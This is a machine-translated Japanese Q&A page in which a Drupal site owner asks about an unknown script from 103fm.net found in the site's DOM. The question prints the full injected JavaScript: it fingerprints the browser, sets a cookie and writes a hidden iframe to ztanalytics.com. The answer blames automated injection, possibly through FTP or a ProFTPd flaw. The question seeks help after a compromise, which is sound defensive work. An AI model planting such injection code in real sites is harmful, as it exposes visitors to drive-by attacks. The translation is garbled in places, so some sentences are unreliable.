Drupalのウェブサイトに "103fm"スクリプトが表示されるのはなぜですか？

Question

可能性の重複：
Weird Script Appearing In My Website's DOM

私はちょうど私のウェブサイトのDOMで実行されている奇妙なスクリプトに気づきました。私はDRUPALを実行しています。スクリプトはhttp://www.103fm.net/release.jsです。私はこの不正なスクリプトを探すためにどこから探し始めるべきかわかりません。私のウェブサイトはmiloads.comであり、管理者メニューでのみ発生します。奇妙なことは、ファイルが103fm.net上に存在しないが、それは実際には次のスクリプトロード：我々のクライアントのサーバーは、ルーマニア、チェコとポーランドのIPアドレスで、最後の夜を侵害された、同様に

var BrowserDetect = { 
init: function() { 
this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; 
this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; 
this.OS = this.searchString(this.dataOS) || "an unknown OS"; 
}, 
searchString: function(data) { 
for (var i = 0; i < data.length; i++) { 
var dataString = data[i].string; 
var dataProp = data[i].prop; 
this.versionSearchString = data[i].versionSearch || data[i].identity; 
if (dataString) { 
if (dataString.indexOf(data[i].subString) != -1) 
return data[i].identity; 
} else if (dataProp) 
return data[i].identity; 
} 
}, 
searchVersion: function(dataString) { 
var index = dataString.indexOf(this.versionSearchString); 
if (index == -1) 
return; 
return parseFloat(dataString.substring(index + this.versionSearchString.length + 1)); 
}, 
dataBrowser: [{ 
string: navigator.userAgent, 
subString: "Firefox", 
identity: "Firefox" 
}, { 
string: navigator.userAgent, 
subString: "MSIE", 
identity: "Explorer", 
versionSearch: "MSIE" 
}], 
dataOS: [{ 
string: navigator.platform, 
subString: "Win", 
identity: "Windows" 
}] 
}; 
function addCookie(szName, szValue, dtDaysExpires) { 
var dtExpires = new Date(); 
var dtExpiryDate = ""; 
dtExpires.setTime(dtExpires.getTime() + dtDaysExpires * 24 * 60 * 60 * 1000); 
dtExpiryDate = dtExpires.toGMTString(); 
document.cookie = szName + "=" + szValue + ";expires=" + dtExpiryDate; 
} 
function findCookie(szName) { 
var i = 0; 
var nStartPosition = 0; 
var nEndPosition = 0; 
var szCookieString = document.cookie; 
while (i <= szCookieString.length) { 
nStartPosition = i; 
nEndPosition = nStartPosition + szName.length; 
if (szCookieString.substring(nStartPosition, nEndPosition) == szName) { 
nStartPosition = nEndPosition + 1; 
nEndPosition = document.cookie.indexOf(";", nStartPosition); 
if (nEndPosition < nStartPosition) 
nEndPosition = document.cookie.length; 
return document.cookie.substring(nStartPosition, nEndPosition); 
break; 
} 
i++; 
} 
return ""; 
} 
BrowserDetect.init(); 
var szCookieString = document.cookie; 
var stopit = BrowserDetect.browser; 
var os = BrowserDetect.OS; 
if (((stopit == "Firefox" || stopit == "Explorer") && (os == "Windows")) && (findCookie('geo_id2') != '753445')) { 
addCookie("geo_id2", "753445", 1); 
document.write("<if" + "rame name='info' src='http://www.ztanalytics.com/stat.cgi?s_id=1' width=1 height=1 scrolling=no frameborder=0></if" + "rame>"); 
} else {} 

Answer 1

を。これらの一見自動化されたプロセスはbodyタグの先頭にスクリプトタグを挿入しているようです。このスクリプトは、FirefoxとIEを実行しているWindowsマシン上でCookieを生成するように見えます。その後、iframeを開き、ロシアでホストされているサイトで実行されているCGIスクリプトを実行します。

幸運なことに、最新のバージョンのFirefoxではスクリプトを読み込むことさえできません。 IEはそうです。

Chromeは（影響を受けていないにもかかわらず）これが発生したページにアクセスすることさえ許可しません。

最近、このような報告がありましたので、パスワードを盗むのではなく、ソフトウェアの脆弱性になる可能性があります.FTPサーバーはどのFTPサーバーを使用しているのですか？あなたに教えてください）。問題のサーバーがProFTPd 1.3.1を実行しています。

ソフトウェアが一般的な場合は、作成者に通知する必要があります。